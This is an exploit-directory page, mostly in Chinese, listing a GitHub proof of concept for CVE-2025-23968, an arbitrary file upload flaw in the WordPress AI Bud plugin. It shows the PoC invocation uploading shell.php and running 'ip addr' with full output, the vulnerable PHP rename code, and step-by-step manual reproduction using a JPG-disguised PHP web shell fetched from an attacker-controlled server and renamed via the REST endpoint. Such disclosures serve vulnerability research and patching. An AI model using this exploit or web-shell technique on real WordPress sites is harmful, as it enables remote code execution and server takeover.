Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-23968 — AI Bud – AI 内容生成器、AI 聊天机器人、ChatGPT、Gemini、GPT-4o <= 1.8.4 中的任意文件上传漏洞 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-23968
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubd0n601/cve-2025-23968

CVE-2025-23968

AI Bud – AI 内容生成器、AI 聊天机器人、ChatGPT、Gemini、GPT-4o <= 1.8.4 中的任意文件上传漏洞

查看仓库
1111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

AI Bud – AI 内容生成器、AI 聊天机器人、ChatGPT、Gemini、GPT-4o

AI Bud 插件暴露了一个 REST API 端点 /wp-json/ai-buddy/v1/wp/attachments,该端点允许将文件上传到 WordPress 媒体库。该端点的文件逻辑包含文件重命名功能,该功能在文件类型验证之后触发,并允许攻击者将上传的文件重命名为任意扩展名(包括 .php),从而使管理员及以上权限的用户能够上传任意文件,并有可能在服务器上执行代码。

TL;DR 漏洞利用

提供了一个 POC cve-2025-23968.py,用于演示管理员上传名为 shell.php 的 Web Shell。

python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr

<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
    inet 127. 0. 0. 1 / 8 scope host lo
        valid_lft forever preferred_lft forever
    inet 6 :: 1 / 128 scope host
        valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
    inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
        valid_lft 75700 sec preferred_lft 75700 sec
    inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86174 sec preferred_lft 14174 sec
    inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
        valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
    inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
        valid_lft forever preferred_lft forever
    inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
        valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
    inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
        valid_lft forever preferred_lft forever
</pre>

详细信息

该插件在 /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php 中注册其 REST API 路由。

第 250-284 行注册了 /wp/attachments 端点的 REST 路由。回调函数被定义为 create_attachment:

register_rest_route(
    $namespace,
    '/wp/attachments',
    array(
        'methods' => 'POST',
        'permission_callback' => array( AuthGate::class, 'authorized'
    ),
        'callback' => array( $this, 'create_attachment' ),
    'args' => array(
    'title' => array(
    'required' => true,
    'type' => 'string',
    ),
    'caption' => array(
    'required' => true,
    'type' => 'string',
    ),
    'alt' => array(
    'required' => true,
    'type' => 'string',
    ),
    'description' => array(
    'required' => true,
    'type' => 'string',
    ),
    'url' => array(
    'required' => true,
    'type' => 'string',
    ),
    'filename' => array(
    'required' => false,
    'type' => 'string',
    ),
),

create_attachment 函数定义在第 709 行,重命名逻辑从第 744 行开始。如下面的代码片段所示,如果指定了 $filename 参数,它可用于重命名现有附件(未经过净化处理):

// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
    $file = get_attached_file( $attachment_id, true );
    $dir = dirname( $file );
    $new_file = $dir. '/'. $filename;
    if ( file_exists( $new_file ) ) {
        $new_file = $dir. '/'. uniqid(). '-'. $filename;
    }
    $this->move_file( $file, $new_file );
    update_attached_file( $attachment_id, $new_file );
}

手动复现

.php 重命名攻击

  1. 攻击者准备一个名为 shell.jpg 的文件,该文件具有以下特征(参见示例)。
    1. 文件包含 jpg 的魔数 FF D8 FF E0。
    2. 文件具有 .jpg 扩展名。
    3. 文件包含用于 Web Shell 的 PHP 代码。
  2. 攻击者将 shell.jpg 托管在其控制的服务器上(例如 Github)。
  3. 攻击者向 /wp-json/ai-buddy/v1/wp/attachments 发送 POST 请求,包含:
    1. url:指向 shell.jpg 的 URL
    2. filename:shell.php
  4. 攻击者访问 /wp-content/uploads/YEAR/MONTH/shell.php 并执行任意 PHP 代码。
下载工具